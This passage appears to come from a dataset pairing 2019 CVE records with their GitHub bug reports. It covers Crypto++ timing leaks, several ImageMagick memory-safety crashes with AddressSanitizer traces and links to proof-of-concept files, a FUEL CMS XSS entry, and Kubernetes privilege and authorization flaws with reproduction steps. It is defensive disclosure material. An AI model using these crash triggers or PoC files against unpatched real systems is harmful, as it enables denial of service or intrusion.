know the cause of this. > > [1]: ECTester: https://crocs-muni.github.io/ECTester/ > > [2]: D. Boneh, R. Venkatesan: Hardness of computing the most significant bits of secret keys in Diffie-Hellman and related schemes; https://crypto.stanford.edu/~dabo/abstracts/dhmsb.html > > [3]: B. B. Brumley, N. Tuveri: Remote Timing Attacks are Still Practical; https://eprint.iacr.org/2011/232.pdf It appears nearly all versions of Crypto++ are affected. Based on some research of antique Crypto++, I believe that means Crypto++ 3.2 and forward. Crypto++ 3.2 was released March 20, 2000. Also posted to the mailing list at [ECDSA timing leaks](https://groups.google.com/forum/#!topic/cryptopp-users/1GGTAh4CEdA).

Elliptic Curve timing leaks

https://api.github.com/repos/weidai11/cryptopp/issues/869/comments

2019-07-26T04:49:09Z

2020-12-20T11:23:40Z

https://github.com/weidai11/cryptopp/issues/869

CVE-2019-14981

2019-08-12T23:15:11.600

In ImageMagick 7.x before 7.0.8-41 and 6.x before 6.9.10-41, there is a divide-by-zero vulnerability in the MeanShiftImage function. It allows an attacker to cause a denial of service by sending a crafted file.

https://github.com/ImageMagick/ImageMagick/issues/1552

github.com

MagickCore/feature.c In line 2259, it assgin 'count=0', the code make a loop as 'for (v=(-((ssize_t) height/2)); v <= (((ssize_t) height/2)); v++)' , the 'count++' in this loop and the 'gamma=1.0/count' in line 2291. But the count is 0 in some cases. It may happen DIVIDE_BY_ZERO bug if the code don't get in this loop.

DIVIDE_BY_ZERO in feature.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1552/comments

2019-04-18T06:16:56Z

2019-08-18T16:30:47Z

https://github.com/ImageMagick/ImageMagick/issues/1552

CVE-2019-15139

2019-08-18T19:15:09.637

The XWD image (X Window System window dumping file) parsing component in ImageMagick 7.0.8-41 Q16 allows attackers to cause a denial-of-service (application crash resulting from an out-of-bounds Read) in ReadXWDImage in coders/xwd.c by crafting a corrupted XWD image file, a different vulnerability than CVE-2019-11472.

https://github.com/ImageMagick/ImageMagick/issues/1553

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description When reading on XWD files ImageMagick(112760b26) may suffer from a crash caused by invalid memory read. ### Steps to Reproduce - run `identity -verbose $FILE` or `convert $FILE /dev/null`. - POCs: https://github.com/ntu-sec/pocs/raw/master/imagemagick/112760b26/crashes/read_xwd.c:573_1.xwd https://github.com/ntu-sec/pocs/raw/master/imagemagick/112760b26/crashes/read_xwd.c:573_2.xwd - A report from an AddressSanitizer copmiled ImageMagick is like this: ``` ASAN:DEADLYSIGNAL ================================================================= ==9749==ERROR: AddressSanitizer: SEGV on unknown address 0x6020060639d6 (pc 0x7f2e39bbca6a bp 0x7ffc674ae0d0 sp 0x7ffc674ad338 T0) ==9749==The signal is caused by a READ memory access. #0 0x7f2e39bbca69 (/usr/lib/x86_64-linux-gnu/libX11.so.6+0x27a69) #1 0x7f2e40f77c89 in ReadXWDImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/xwd.c:573:21 #2 0x7f2e405308c9 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:547:15 #3 0x7f2e405342d4 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9 #4 0x7f2e3fac69a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18 #5 0x7f2e3fcae021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14 #6 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10 #7 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10 #8 0x7f2e3891fb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19) ``` - Other information available [here](https://github.com/ntu-sec/pocs/tree/master/imagemagick/112760b26/crashes). ### System Configuration - ImageMagick version: 7.0.8-41 Q16 x86_64 2019-04-20 - Environment (Operating system, version and so on): Ubuntu 18.04 LTS x86_64 - Additional information: This was firstly detected when fuzzing GraphicsMagick.

AddressSanitizer: Invalid read at xwd.c:573

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1553/comments

2019-04-20T13:04:54Z

2019-08-19T11:08:05Z

https://github.com/ImageMagick/ImageMagick/issues/1553

CVE-2019-15140

2019-08-18T19:15:09.700

coders/mat.c in ImageMagick 7.0.8-43 Q16 allows remote attackers to cause a denial of service (use-after-free and application crash) or possibly have unspecified other impact by crafting a Matlab image file that is mishandled in ReadImage in MagickCore/constitute.c.

https://github.com/ImageMagick/ImageMagick/issues/1554

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description ImageMagick convert suffers from a heap-use-after-free vulnerability. ### Steps to Reproduce * run `convert $FILE /dev/null` ``` ================================================================= ==1962==ERROR: AddressSanitizer: heap-use-after-free on address 0x62700003811c at pc 0x7f2584984c25 bp 0x7ffe24e14170 sp 0x7ffe24e14168 WRITE of size 4 at 0x62700003811c thread T0 #0 0x7f2584984c24 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:659:16 #1 0x7f2584987a94 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9 #2 0x7f2583f5a9a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18 #3 0x7f2584142021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14 #4 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10 #5 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10 #6 0x7f257cdb3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #7 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19) 0x62700003811c is located 28 bytes inside of 13504-byte region [0x627000038100,0x62700003b5c0) freed by thread T0 here: #0 0x4d22b8 in __interceptor_free.localalias.0 (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d22b8) #1 0x7f2584c5b8d0 in RelinquishMagickMemory /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/memory.c:1074:3 #2 0x7f2584bfa716 in DestroyImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/image.c:1225:19 #3 0x7f25850c3a8a in ReadMATImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/mat.c:1479:12 #4 0x7f2584984089 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:547:15 #5 0x7f2584987a94 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9 #6 0x7f2583f5a9a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18 #7 0x7f2584142021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14 #8 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10 #9 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10 #10 0x7f257cdb3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 previously allocated by thread T0 here: #0 0x4d2470 in __interceptor_malloc (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d2470) #1 0x7f2584c59fe6 in AcquireMagickMemory /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/memory.c:478:10 #2 0x7f2584bf2d04 in AcquireCriticalMemory /home/hongxu/work/imagemagick/ImageMagick-asan/./MagickCore/memory-private.h:64:10 #3 0x7f2584bf075b in AcquireImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/image.c:172:19 #4 0x7f2584bf572b in AcquireNextImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/image.c:396:15 #5 0x7f25850c2f97 in ReadMATImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/mat.c:1391:5 #6 0x7f2584984089 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:547:15 #7 0x7f2584987a94 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9 #8 0x7f2583f5a9a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18 #9 0x7f2584142021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14 #10 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10 #11 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10 #12 0x7f257cdb3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-use-after-free /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:659:16 in ReadImage Shadow bytes around the buggy address: 0x0c4e7fffefd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4e7fffefe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4e7fffeff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4e7ffff000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4e7ffff010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c4e7ffff020: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4e7ffff030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4e7ffff040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4e7ffff050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4e7ffff060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4e7ffff070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1962==ABORTING ``` * POC files are available [here](https://github.com/ntu-sec/pocs/tree/master/imagemagick/3183a88ae/crashes). ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: 7.0.8-43 Q16 x86_64 2019-04-27 (3183a88ae) - Environment (Operating system, version and so on): Ubuntu 18.04 LTS x86_64 - Additional information: It reports an assertion failure with regular debug mode compilation.

AddressSanitizer: heap-use-after-free at constitute.c:659

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1554/comments

2019-04-27T07:14:42Z

2019-08-19T11:07:29Z

https://github.com/ImageMagick/ImageMagick/issues/1554

CVE-2019-15141

2019-08-18T19:15:09.760

WriteTIFFImage in coders/tiff.c in ImageMagick 7.0.8-43 Q16 allows attackers to cause a denial-of-service (application crash resulting from a heap-based buffer over-read) via a crafted TIFF image file, related to TIFFRewriteDirectory, TIFFWriteDirectory, TIFFWriteDirectorySec, and TIFFWriteDirectoryTagColormap in tif_dirwrite.c of LibTIFF. NOTE: this occurs because of an incomplete fix for CVE-2019-11597.

https://github.com/ImageMagick/ImageMagick/issues/1560

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description ImageMagick (https://github.com/ImageMagick/ImageMagick/commit/f06925afeabe3f01045db33d5a33d55e64378ebc) still suffers from heap-buffer-overflow error after patching https://github.com/ImageMagick/ImageMagick/issues/1555 . ### Steps to Reproduce * Run `convert $FILE /dev/null` * When linked with prebuilt libtiff.so from Ubuntu 18.04 LTS x86_64, AddressSanitizer reports: ``` ==18301==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000045d4 at pc 0x000000473b42 bp 0x7ffe98d84b40 sp 0x7ffe98d842f0 READ of size 131072 at 0x6020000045d4 thread T0 #0 0x473b41 in __interceptor_memcpy.part.43 (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x473b41) #1 0x7f07f4677d60 (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x18d60) #2 0x7f07f4678c9c in TIFFRewriteDirectory (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x19c9c) #3 0x7f07f4680596 in TIFFFlush (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x21596) #4 0x7f07f46675f4 in TIFFCleanup (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x85f4) #5 0x7f07f4667618 in TIFFClose (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x8618) #6 0x7f07f638dcac in WriteTIFFImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/tiff.c:4324:3 #7 0x7f07f5978dc2 in WriteImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1159:16 #8 0x7f07f5979e4b in WriteImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1376:13 #9 0x7f07f4fe0a72 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:3305:11 #10 0x7f07f5132021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14 #11 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10 #12 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10 #13 0x7f07edda3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #14 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19) 0x6020000045d4 is located 0 bytes to the right of 4-byte region [0x6020000045d0,0x6020000045d4) allocated by thread T0 here: #0 0x4d2470 in __interceptor_malloc (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d2470) #1 0x7f07f4668737 (/usr/lib/x86_64-linux-gnu/libtiff.so.5+0x9737) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x473b41) in __interceptor_memcpy.part.43 Shadow bytes around the buggy address: 0x0c047fff8860: fa fa fd fa fa fa 00 00 fa fa fd fa fa fa fd fd 0x0c047fff8870: fa fa 00 05 fa fa 00 04 fa fa 04 fa fa fa 00 03 0x0c047fff8880: fa fa 00 04 fa fa 00 07 fa fa 00 04 fa fa 00 04 0x0c047fff8890: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04 0x0c047fff88a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa =>0x0c047fff88b0: fa fa fd fa fa fa 00 fa fa fa[04]fa fa fa 04 fa 0x0c047fff88c0: fa fa 04 fa fa fa 00 fa fa fa 00 fa fa fa fd fa 0x0c047fff88d0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa 00 00 0x0c047fff88e0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fa fa 0x0c047fff88f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==18301==ABORTING ``` * When linked with [latest git commit of libtiff](https://gitlab.com/libtiff/libtiff/commit/453be8a9ce57057b2a88ef32486d407f2a47dbfc), AddressSanitizer reports: ``` ==4531==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000045d4 at pc 0x0000004bd4c1 bp 0x7fff58a5ee00 sp 0x7fff58a5e5b0 READ of size 131072 at 0x6020000045d4 thread T0 #0 0x4bd4c0 in __asan_memcpy (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4bd4c0) #1 0x7f2cce3ec1f4 in _TIFFmemcpy /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_unix.c:346:2 #2 0x7f2cce2ec909 in TIFFWriteDirectoryTagColormap /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:1853:2 #3 0x7f2cce2e2591 in TIFFWriteDirectorySec /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:566:10 #4 0x7f2cce2e01af in TIFFWriteDirectory /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:181:9 #5 0x7f2cce2e7a60 in TIFFRewriteDirectory /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dirwrite.c:221:10 #6 0x7f2cce3148f6 in TIFFFlush /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_flush.c:81:13 #7 0x7f2cce2803eb in TIFFCleanup /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_close.c:51:3 #8 0x7f2cce280db2 in TIFFClose /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_close.c:126:2 #9 0x7f2cd010ecac in WriteTIFFImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/tiff.c:4324:3 #10 0x7f2ccf6f9dc2 in WriteImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1159:16 #11 0x7f2ccf6fae4b in WriteImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1376:13 #12 0x7f2cced61a72 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:3305:11 #13 0x7f2cceeb3021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14 #14 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10 #15 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10 #16 0x7f2cc7986b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #17 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19) 0x6020000045d4 is located 0 bytes to the right of 4-byte region [0x6020000045d0,0x6020000045d4) allocated by thread T0 here: #0 0x4d2470 in __interceptor_malloc (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d2470) #1 0x7f2cce3ec0dc in _TIFFmalloc /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_unix.c:314:10 #2 0x7f2cce287a2d in setByteArray /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:51:19 #3 0x7f2cce287b76 in _TIFFsetShortArray /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:63:7 #4 0x7f2cce2908e5 in _TIFFVSetField /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:375:3 #5 0x7f2cce287f46 in TIFFVSetField /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:868:6 #6 0x7f2cce287e6b in TIFFSetField /home/hongxu/work/imagemagick/libtiff-asan/libtiff/tif_dir.c:812:11 #7 0x7f2cd010e808 in WriteTIFFImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/tiff.c:4262:16 #8 0x7f2ccf6f9dc2 in WriteImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1159:16 #9 0x7f2ccf6fae4b in WriteImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:1376:13 #10 0x7f2cced61a72 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:3305:11 #11 0x7f2cceeb3021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14 #12 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10 #13 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10 #14 0x7f2cc7986b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4bd4c0) in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff8860: fa fa fd fa fa fa 00 00 fa fa fd fa fa fa fd fd 0x0c047fff8870: fa fa 00 05 fa fa 00 04 fa fa 04 fa fa fa 00 03 0x0c047fff8880: fa fa 00 04 fa fa 00 07 fa fa 00 04 fa fa 00 04 0x0c047fff8890: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04 0x0c047fff88a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa =>0x0c047fff88b0: fa fa fd fa fa fa 00 fa fa fa[04]fa fa fa 04 fa 0x0c047fff88c0: fa fa 04 fa fa fa 00 fa fa fa 00 fa fa fa fd fa 0x0c047fff88d0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa 00 00 0x0c047fff88e0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fa fa 0x0c047fff88f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==4531==ABORTING ``` * POCs and other information are available [here](https://github.com/ntu-sec/pocs/tree/master/imagemagick/f06925afe/crashes). ### System Configuration - ImageMagick version: 7.0.8-43 Q16 x86_64 2019-04-28 - Environment (Operating system, version and so on): Ubuntu 18.04 LTS x86_64 - Additional information:

AddressSanitizer: heap-buffer-overflow at coders/tiff.c:4324

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1560/comments

2019-04-28T11:01:35Z

2019-09-17T04:41:56Z

https://github.com/ImageMagick/ImageMagick/issues/1560

CVE-2019-15228

2019-08-20T00:15:10.050

FUEL CMS 1.4.4 has XSS in the Create Blocks section of the Admin console. This could lead to cookie stealing and other malicious actions. This vulnerability can be exploited with an authenticated account but can also impact unauthenticated visitors.

https://github.com/daylightstudio/FUEL-CMS/issues/536

github.com

    

XSS and CSRF in Blocks

https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/536/comments

2019-08-17T17:52:01Z

2021-05-14T14:00:24Z

https://github.com/daylightstudio/FUEL-CMS/issues/536

CVE-2019-11245

2019-08-29T01:15:11.147

In kubelet v1.13.6 and v1.14.2, containers for pods that do not specify an explicit runAsUser attempt to run as uid 0 (root) on container restart, or if the image was previously pulled to the node. If the pod specified mustRunAsNonRoot: true, the kubelet will refuse to start the container as root. If the pod did not specify mustRunAsNonRoot: true, the kubelet will run the container as uid 0.

https://github.com/kubernetes/kubernetes/issues/78308

github.com

[CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L), 4.9 (medium) In kubelet v1.13.6 and v1.14.2, containers for pods that do not specify an explicit `runAsUser` attempt to run as uid 0 (root) on container restart, or if the image was previously pulled to the node. If the pod specified `mustRunAsNonRoot: true`, the kubelet will refuse to start the container as root. If the pod did not specify `mustRunAsNonRoot: true`, the kubelet will run the container as uid 0. CVE-2019-11245 will be **fixed** in the following Kubernetes releases: * v1.13.7 in https://github.com/kubernetes/kubernetes/pull/78320 * v1.14.3 in https://github.com/kubernetes/kubernetes/pull/78316 Fixed by #78261 in master ### Affected components: * Kubelet ### Affected versions: * Kubelet v1.13.6 * Kubelet v1.14.2 ### Affected configurations: Clusters with: * Kubelet versions v1.13.6 or v1.14.2 * Pods that do not specify an explicit `runAsUser: <uid>` or `mustRunAsNonRoot:true` ### Impact: If a pod is run without any user controls specified in the pod spec (like `runAsUser: <uid>` or `mustRunAsNonRoot:true`), a container in that pod that would normally run as the USER specified in the container image manifest can sometimes be run as root instead (on container restart, or if the image was previously pulled to the node) * pods that specify an explicit `runAsUser` are unaffected and continue to work properly * podSecurityPolicies that force a `runAsUser` setting are unaffected and continue to work properly * pods that specify `mustRunAsNonRoot:true` will refuse to start the container as uid 0, which can affect availability * pods that do not specify `runAsUser` or `mustRunAsNonRoot:true` will run as uid 0 on restart or if the image was previously pulled to the node ### Mitigations: This section lists possible mitigations to use prior to upgrading. * Specify `runAsUser` directives in pods to control the uid a container runs as * Specify `mustRunAsNonRoot:true` directives in pods to prevent starting as root (note this means the attempt to start the container will fail on affected kubelet versions) * Downgrade kubelets to v1.14.1 or v1.13.5 as instructed by your Kubernetes distribution. **original issue description follows** **What happened**: When I launch a pod from a docker image that specifies a USER in the Dockerfile, the container only runs as that user on its first launch. After that the container runs as UID=0. **What you expected to happen**: I expect the container to act consistently every launch, and probably with the USER specified in the container. **How to reproduce it (as minimally and precisely as possible)**: Testing with minikube (same test specifying v1.14.1, `kubectl logs test` always returns 11211): ``` $ minikube start --kubernetes-version v1.14.2 😄 minikube v1.1.0 on linux (amd64) 💿 Downloading Minikube ISO ... 131.28 MB / 131.28 MB [============================================] 100.00% 0s 🔥 Creating virtualbox VM (CPUs=2, Memory=2048MB, Disk=20000MB) ... 🐳 Configuring environment for Kubernetes v1.14.2 on Docker 18.09.6 💾 Downloading kubeadm v1.14.2 💾 Downloading kubelet v1.14.2 🚜 Pulling images ... 🚀 Launching Kubernetes ... ⌛ Verifying: apiserver proxy etcd scheduler controller dns 🏄 Done! kubectl is now configured to use "minikube" $ cat test.yaml --- apiVersion: v1 kind: Pod metadata: name: test spec: containers: - name: test image: memcached:latest imagePullPolicy: IfNotPresent command: ["/bin/bash"] args: - -c - 'id -u; sleep 30' $ kubectl apply -f test.yaml pod/test created # as soon as pod starts $ kubectl logs test 11211 # Wait 30 seconds for container to restart $ kubectl logs test 0 # Try deleting/recreating the pod $ kubectl delete pod test pod "test" deleted $ kubectl apply -f test.yaml pod/test created $ kubectl logs test 0 ``` **Anything else we need to know?**: **Environment**: - Kubernetes version (use `kubectl version`): I get the results I expect in v1.13.5 and v1.14.1. The problem exists in v1.13.6 and v1.14.2 - Cloud provider or hardware configuration: minikube v1.1.0 using VirtualBox - OS (e.g: `cat /etc/os-release`): - Kernel (e.g. `uname -a`): - Install tools: - Network plugin and version (if this is a network-related bug): - Others:

CVE-2019-11245: v1.14.2, v1.13.6: container uid changes to root after first restart or if image is already pulled to the node

https://api.github.com/repos/kubernetes/kubernetes/issues/78308/comments

2019-05-24T16:14:49Z

2022-10-14T02:07:10Z

https://github.com/kubernetes/kubernetes/issues/78308

CVE-2019-11247

2019-08-29T01:15:11.287

The Kubernetes kube-apiserver mistakenly allows access to a cluster-scoped custom resource if the request is made as if the resource were namespaced. Authorizations for the resource accessed in this manner are enforced using roles and role bindings within the namespace, meaning that a user with access only to a resource in one namespace could create, view update or delete the cluster-scoped resource (according to their namespace role privileges). Kubernetes affected versions include versions prior to 1.13.9, versions prior to 1.14.5, versions prior to 1.15.2, and versions 1.7, 1.8, 1.9, 1.10, 1.11, 1.12.

https://github.com/kubernetes/kubernetes/issues/80983

github.com

[CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L) The API server mistakenly allows access to a cluster-scoped custom resource if the request is made as if the resource were namespaced. Authorizations for the resource accessed in this manner are enforced using roles and role bindings within the namespace, meaning that a user with access only to a resource in one namespace could create, view update or delete the cluster-scoped resource (according to their namespace role privileges). **Vulnerable versions:** Kubernetes 1.7.x-1.12.x Kubernetes 1.13.0-1.13.8 Kubernetes 1.14.0-1.14.4 Kubernetes 1.15.0-1.15.1 **Vulnerable configurations:** All clusters that have rolebindings to roles and clusterroles that include authorization rules for cluster-scoped custom resources. **Vulnerability impact:** A user with access to custom resources in a single namespace can access custom resources with cluster scope. **Mitigations prior to upgrading:** To 